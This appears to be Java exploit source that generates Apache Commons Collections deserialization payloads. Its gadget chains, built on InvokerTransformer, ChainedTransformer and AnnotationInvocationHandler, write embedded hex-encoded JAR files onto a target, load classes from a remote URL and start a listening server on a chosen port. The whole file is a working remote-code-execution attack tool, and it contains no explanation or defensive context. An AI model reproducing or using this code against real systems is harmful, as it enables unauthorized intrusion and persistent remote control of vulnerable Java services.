package org.secdomain.exp;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class Payload {
    private static final String REMOTE_JAR = "504b0304140008000800095abe48000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5e2e50200504b0708b27f02ee1b00000019000000504b03040a0000000000ce58be48000000000000000000000000040000006f72672f504b03040a0000000000ce58be480000000000000000000000000e0000006f72672f736563646f6d61696e2f504b03040a0000000000ce58be48000000000000000000000000120000006f72672f736563646f6d61696e2f6578702f504b03041400080008003056be48000000000000000000000000240000006f72672f736563646f6d61696e2f6578702f52656d6f74654f626a6563742e636c6173736d4fbb0ac240109c356a7c3f0ac1ca524ce3616d676125080a16b1bac4239c24772146c9b759f8017e94781145c114bb0bb333c3ccfd71bd0198a16ba34418e9246027e11f74c4a562228bd946443a156bef28fcd44699d03bf20b67215701fba05542f78526917c0b08d5731c6a7e200c27abaf649b265205f3fdc2755c425964c2278c0b18ce3f947b2a4f2ae3392852ec088dad3e27be58cad024e8ff669fe67c13946099a998d2962963a386bc541d8dd76da2653e84b6d925749e504b07082a7bf2edbd0000001f010000504b0304140008000800e158be48000000000000000000000000280000006f72672f736563646f6d61696e2f6578702f52656d6f74654f626a656374496d706c2e636c6173738d56595b1367147e3fb24c0c53c5084a40011125614bb5750b88150a8284c5c862406c27c900a3211393896257bbef3fa0bf801b2ff4066a799e7ad9e7e96fe96f68fb7e332180a4b5179939dfd9be73deb34cfef8ebd7df009cc54f0aaa045acdfc72a4a0a7d2e6aa666423fa5a2e12d7574d4b9f4cded353d6e86a2ea3c02d50734f7ba845325a7639e2481478059afedb5ac0db67640dab5fc0150acf0ab807cdb4ee870bd52a14f8040ec58cac3e515c4deaf9692d99d105023133a56566b5bc21cf25a6db5a310a026db1d747dbcb4b8bb98ca9a505ea43b19db06f597923bbdcbb30301f9e577084525b6698916123a34f16ad5cd1a28eaeadfa11409d0cf0a8c0d10a2ee6c3b352a55e45100d029e4779c362909ed0c2802339aee284ccce93ca9805e6db8c930a5a048eecb81a5a4be939cb30b32a5a6d207274cdfbb5d4fde9bc96a23bbf93c59466ad4854f6454154d29aa509542d0c30672d97d3b3cc59cc136cb348ec1b62ff96206d056fa88b558847fad5d7f494c0990aa987f7b3fc7813e7149c1538bc238b17b396b1aaab780b6f339565dd2a71786b68b79312dbf6724145372e0ab4bfe6e2a9bc99d20b855e059759a0ed24078a4b4b7a5e4fc7752dade7153091e0b66c345bcedd11fb71055715f4ef09bae457c53bb826709041efb21338b61df85e870c3d8a41d92eefee74dc2b2ab22d2e61582a5d671bec2839d150ae60743b975d693b39f931826af988a968c7b840d7ffaa8c63dcebc324cbed9701dc5411c72d011f834acbc913a80d552ce9086654ccdaba96e9707db82d003fe67147c1c29e8de028a858c45d76a2fea0a8650ab2d0b15797466f78de87f739187a3e6fe6d9a8a955b6ac3b47e0094b8512b3bb93d4ab8f55aeb294179265f9fee4e93c63e7e9cdeb8562466ea4623669c841a9ab0422ebc04a374ac15a24abad92c9421a96a16506cdaca5af597e6450ed434e40ddbd7aaa91077722d3aedd635cb252710ff7153ca4d5eea1f4a38835d915f7e5daf840521fb225437b26d7ee9e797cace2137cca82b02f071e5b3aaf7287c272f6dd397b47b852d61a7b2856e97e09c4922157e9c1bdbec99770f821502d73f856c557f8aef20c5628e7ac8dac8481537ecb2ce653fab07d4dddab7bb9471ae324ef71f1e7e127c8c3373f027c1ee029c2b790dc8e4df89f93a882caa7d7661ec21b7caa8e020ef20cd23538ec188b9b70d3113027a2ee2d04129d2736511b7507dd5d1b3816746fa0711d6a54092a1b68723d753f8d7a821e92fb24aea751ef3e66d0fb9261d472d91fe72677916ae7bb87abed42e97c8d57b79323df839c9d31f29df06751c7671db58e31ec7aea36d34b0b9a88c4296efed3f4da8e0684d148fb667a6ce19c9ee4766ac5556a5ee3876490fc31f2c7c98f933f8d361b8e3b366e73253824758a126153a771861148aa1d21deeea255181d84294cdb4e7411c626a22f2985376e53e3654a7017f794e06da6b6426f8bbf20d2b981f3e35bb894d842344178fb3631b089a1892d8c24367123ea5e474dd02de11d0b4cf031d7bd81a944d4f3fbdf7f4a64a7a3dec05cd0bb81c4cff006de7b16f43e1ba797269276c0939861ba71863b5306b1df4eb08b15ee66cd7b086537e18a30d9734c8f5f18befb711e43846f1217697d99d6bd04bf8f73736517588b65b016a1d960f998721229ded4c8359e864ea8daf8ef6809cb04ab9db62b3c7be8ada1440d3106839497fe1db0aae887e35d02eb093d48b0ac2d64884876bc2b60bec0832aacc367a72ac605d12a263a37f16842766bf7261e536b6e031fb15dd7d1233b978a5d7623f6b0258957d33adaa21e87e52fb1829e977b19cf191518df11bbcd2e32a366b6d0105bb2d96ea638a5d3b88d059e75669129637c97a802c3c4e33aad47d8a8a36cd731661da3e5041b6a92c84fd1e34da21aa7af196acde2065b8cdf14bb5e0b3c2ff29c4482de67e87d16599e0b94c81a2cf1eb415cca35b0f0a454836a7c86cf19492d3177106d60e564c356f1f6dbf8025f12d53ea22fa56edeea505edeb74d65cbd401aeb0edb5f211ed645fb56e41b01a5f8f95aa12eb0c981d2ff08d4b9665acc3c64e8e8e33e40e260d369a49fa4a11d334253ac7718963b862e7d342df3ec6fcbd9d4f0d6d6416823a4e167247fd606fb21fff01504b07085c6a13f516060000760b0000504b03041400080008002456be480000000000000000000000000a0000002e636c61737370617468b3b1afc8cd51284b2d2acecccfb35532d433505248cd4bce4fc9cc4bb7550a0d71d3b550b2b7e3e5b249ce492c2e2e482cc900723811bcd4bc92a24a85ecccbc145ba5e2a2642505902084a98f5b65727e1e4c657e51ba5e6a724e664171aa5e564a895e4e62695e7206d0763daf20d778677fbf10474f3fd7207ca6e59796149496c00c4ccacc032bb6d147763200504b0708f533db408f000000e8000000504b03041400080008002456be48000000000000000000000000080000002e70726f6a65637475504b0ec220145c6be21d1af682ee5cd0bad07801f500082f0d4df90468e3f1054a6d6ae2eecdbc993703f4fc567d3582f3d2e81a1df10155a0b91152b7357a3e6efb133a37bb2db5ce74c0c3153c77d286a88eec866aa6a031aea5244f89e24629d0a1a1649e125bfc3e03b242af41f6e26e812754e0255a991699595230f05e5a0fb8130173e3e2c046960de0960ad1c15c3ba46c5f30591394fca61466ae1123c3e0a0a827f0bfc1b44f05b22e9f5b0e7c9fbbfebc0f504b0708c18dcfacb80000007b010000504b01021400140008000800095abe48b27f02ee1b000000190000001400040000000000000000000000000000004d4554412d494e462f4d414e49464553542e4d46feca0000504b01020a000a0000000000ce58be480000000000000000000000000400000000000000000000000000610000006f72672f504b01020a000a0000000000ce58be480000000000000000000000000e00000000000000000000000000830000006f72672f736563646f6d61696e2f504b01020a000a0000000000ce58be480000000000000000000000001200000000000000000000000000af0000006f72672f736563646f6d61696e2f6578702f504b010214001400080008003056be482a7bf2edbd0000001f0100002400000000000000000000000000df0000006f72672f736563646f6d61696e2f6578702f52656d6f74654f626a6563742e636c617373504b01021400140008000800e158be485c6a13f516060000760b00002800000000000000000000000000ee0100006f72672f736563646f6d61696e2f6578702f52656d6f74654f626a656374496d706c2e636c617373504b010214001400080008002456be48f533db408f000000e80000000a000000000000000000000000005a0800002e636c61737370617468504b010214001400080008002456be48c18dcfacb80000007b0100000800000000000000000000000000210900002e70726f6a656374504b050600000000080008000a0200000f0a00000000";

    public Payload() {
    }

    private static byte[] generateObject(Transformer[] transformers) throws Exception {
        ChainedTransformer transformedChain = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, (Transformer)null, transformedChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class});
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(new Object[]{Retention.class, outerMap});
        ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteOut);
        out.writeObject(instance);
        out.flush();
        out.close();
        return byteOut.toByteArray();
    }

    public static byte[] generateBindPayload(String remoteClassPath) throws Exception {
        Transformer[] transforms = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"org.secdomain.exp.RemoteObjectImpl"}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"bind", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})};
        return generateObject(transforms);
    }

    public static byte[] generateRemotePayload(String remotePath) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{remotePath}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{Utils.hexStringToBytes(REMOTE_JAR)}), new ConstantTransformer(Integer.valueOf(1))};
        return generateObject(transformers);
    }

    public static byte[] generateServerPayload(String remotePath) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{remotePath}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{Utils.hexStringToBytes("504b0304140008080800d6a59b47000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5e2e50200504b0708b27f02ee1b00000019000000504b0304140008080800cda59b470000000000000000000000001b0000006f72672f6865797365632f6578702f5365727665722e636c61737375566b6c14d715feeeecae67bc8cd7ebb5c730069c1012583f827984858e4901f3484d16ec60e3c4765a58af077bc97a6799dd05dca625499396266d9ab4ee03da24a4af4d9ba64d826aac425da9fd511555eaafa2568a2aa50f897fa86aa448916afadd592fd8b0f1ca77eebde7de73cff9ce77cebd57e67e3d0b60032ea850040cc71deb18b7277376b2c33e95ede8b3dd13b6abc22f103e963891e8482732631d3d23c7ec645ea06a5b2a93ca7f52c0176d1910f0ef7246ed207ca8d6114095406d3c95b10f1426466cb73f3192b60522712799480f24dc941ccf4ffaf3e3a99cc0d278c5c33b0502b97cc2e5798dd1eef82d2bfaf26e2a33d6d93210441dea554404ea6e490f1632f9d484ada301864070cccecfcfd0c9684bfc8e859d2a9652e4cd67ecfcfce17d4ef2093b1f44234ce953138d8d76b70cf8205e8286950290b2bb74dc8d55c423914cda591a5a5f3ec1d3e4e9e80c6235ee53712f61b94da4630dd60a84686377265bc8d3313b314140ca5a524ec70281a7a945472bdaa88b9b7a0af905bb962dd8b550c26df7a343c53a9a5741ab8ef5d840f7d81f25e2d1e1ae966e159b16c5bd8478101bb159a2111350b9ae9b8068d84a1658962585968e4e6c9361cba65344636db442d486ef9cd320a93432694b253b74ec441731b58f1712e99c8c5afc760676b60c69d84d2b7205029fcbc97d7b753c844f096804a66b326fe764c85a86bb82d887b88a87051a2aa1a3633f0ed0e4936e2a6fcffb3f20f7f4ea7844723970345dc88dabe823c265057b53697ba192200ee2904466e036731750f520e2b2e995cd908e614f7732ede46c0d9fa6fbc98951c9e7c33a8e2041dbed5376f263205c30d5eb3a1200c638294936ba2815e68541081cd5318671e6c308a1d96fbb63b64ba8e82cdd1deed2708cc6d8aeebb81ad2c4be904d3b09da9341568553e642219f4a77ec74ddc4644e06e9788906d430249dca4900bc64bdd3e4a1968100bc3fdfb5204ee1b32a261731ac7f5cf24fc7e7f0a4e44fdab6b3327efb2472ab3124936d48c553650a7b7bf69c92499772322a9e59c8ed9e9b02aac83ab280886ed94de4c76525bac33a3a9cf3b25ed6a28a85402e49a6537686baeaeec8705a9c9209c5e057cc5b46d791d2c6caf94918dd42a6df2b51f5150a14cf76b2499658ea49dbd2a9d1449e1451869926c152a87a3ddf6a52b943deb0af5437c51083ecd08bddde866a276bbb891230aa6b27edd4097964858c14d09d45c5a529fe71dcef94c892688b6d2ff39256a6789a2657948c08e49d7c821c5b529e8a7b2ee5ed09465ca4f86fdfc471719849f29fe24d153f5b5c9b2673dcabe3e7788b1e26243b934e96ec6aad5037ba2b4c75cb2bac4ae6c5e10de5cec672877530d8e714dca42dfda6d52556ac936ab08a89e52bb19a3dde7c6c558e3af8e50d8140eb4568efb0a3f0b680270696f007e8a505fcd6f05b8d106a4b9b031b39bb8c5bf68afde280b0fcc20acc206c555d42e360d3452cdbef8ba9be9816597e59b3aa232baca02fb6a47d1acd07ee9fc63d969f6dd40a84ab2f6b8355e1aafe4155369a6cc255618dadeab51a5b4b37fd66f534da639aa129af8933867a4e842e61e3a059ed33b48b78c0aa316b225ba6f1092b1479d00cf9364e63fb596c3203915dd3d8338d6e33308d9e4b3838d87611fd56ad591b59e1091e356ba7f1986c068be278e4f19b7ba7cc2a33e467ff3372f53446ac709d1f74a5cec726e28bd517d16ed4b3dfe08b194584cd06c330eb0c6353ffb386300ca3fef51bd7cd88d93003db8a9861b38ef60fc6ea95f337fe644666cf714320922a195744d00c9891b299c51bf53cf3a6b434377723f244d9b8b9ff4ad3aca03fb6c41f538b73ff3254fff9b9bf1b1aada9f1c542d29a1a2364561b215a131246c8d0a435ba59338389b3d019099fdcf8a6b042c692b35821913183be8b70ad9019326b080cd714d15812f8170acc90046bce69406106278b73472df5766311b034c6f7f30cf7178a586b2d2d32e28db76602d652b3f1b78bc6ef90535745afe8c369d42a24224e2b8a52a734e069a551695656e169ce372a6bc8b8a8b25ed9c4f9adca0e6517e73dd68a67781f812c55c8513f59aa220c7951d5a29e3c6dc07218686679be174b11e54c1b4cbe289a10a3641b56f05e6a461a77c1e553e92453e639dc831759d3cf71c78f701f537a0ddec25afc82df0bd4f01bb4e0777ce3fc819aaea01d57b10eef33a5ae51eb75be573fe05dff2136e1233cc014da2caaf81c09f3dbc497c86abe5b36c0125bd02976f225b21b0f8a87b15df4628738849de2301f16a37c38e4b0474c62af78120f89d3e81667b04fbcc827c214e2e2557edfe093e05df4885fa157cce011c1708959be007e8f7ef1471c1257f8fd332ffbab7854fc0d8f89f73028fe8121f14f7eaf61585ce78dfe018e880f7993ff0f2b89faa8a2e0a8c24b58a9c3b8d288b4d28409a51919227f4c8972dccef17a8e3723ab6ce5781bc73b38de83e3b262d0bf15b22ae08b7856561cf69ec3975833146537be8c338c8f5fe9c257f03c8b91aa6cc70bf82ae315a49eaf11ef00a3bc055fc74bac42cbc5bff132b5a868a6d5df604fe3ebf43d7c1353ac4451f1577c8b9a837c65fe05dfc677787a52bc82ef52aaf3cc8f7096d21aeafc0f63f83db2e20223ff7dbc4246bc0f07afe235f6ae611ce7694198314be075eead63e41ec70fd88b307e83f821cfad67045793055368103e6af931e70c46aa163f4111b58cc9519e31851af1f2bc34c438c4bcd34244b4c15ba7d2563e6ee68bef187d95457965eb6cdbec91cbdafe565fbbaf7576066fb4f9dae51c7bed6fdf2cca118204e4094181269e20694f7a05faee9212d272caabf02bf14bf6789391ee6fb3a7b05f2aedeffe1f504b0708e5e0f6f8240800004b0d0000504b01021400140008080800d6a59b47b27f02ee1b000000190000001400040000000000000000000000000000004d4554412d494e462f4d414e49464553542e4d46feca0000504b01021400140008080800cda59b47e5e0f6f8240800004b0d00001b00000000000000000000000000610000006f72672f6865797365632f6578702f5365727665722e636c617373504b050600000000020002008f000000ce0800000000")}), new ConstantTransformer(Integer.valueOf(1))};
        return generateObject(transformers);
    }

    public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"org.heysec.exp.Server"}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"start", new Class[]{Integer.TYPE, String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{Integer.valueOf(port), remotePath}})};
        return generateObject(transformers);
    }
}